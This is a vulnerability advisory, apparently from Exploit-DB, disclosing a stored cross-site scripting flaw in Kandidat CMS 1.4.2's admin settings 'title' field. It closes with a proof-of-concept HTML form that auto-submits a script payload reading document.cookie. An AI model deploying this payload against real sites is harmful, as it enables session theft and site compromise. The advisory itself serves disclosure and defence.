Kandidat CMS 1.4.2 - Persistent Cross-Site Scripting

EDB-ID:

15385

CVE:

N/A




Platform:

PHP

Date:

2010-11-02


Vulnerability ID: HTB22648
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_kandidat_cms.html
Product: Kandidat CMS
Vendor: Kan-Studio ( http://www.kan-studio.ru/ ) 
Vulnerable Version: 1.4.2 and probably prior versions
Vendor Notification: 19 October 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "/admin/settings.php" script to properly sanitize user-supplied input in "title" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin/settings.php?action=validate" method="post" name="main">
<input type="hidden" name="title" value='Site Title"><script>alert(document.cookie)</script>'>
<input type="hidden" name="template" value="silver">
<input type="hidden" name="Submit" value="Save changes">
</form>
<script>
document.main.submit();
</script>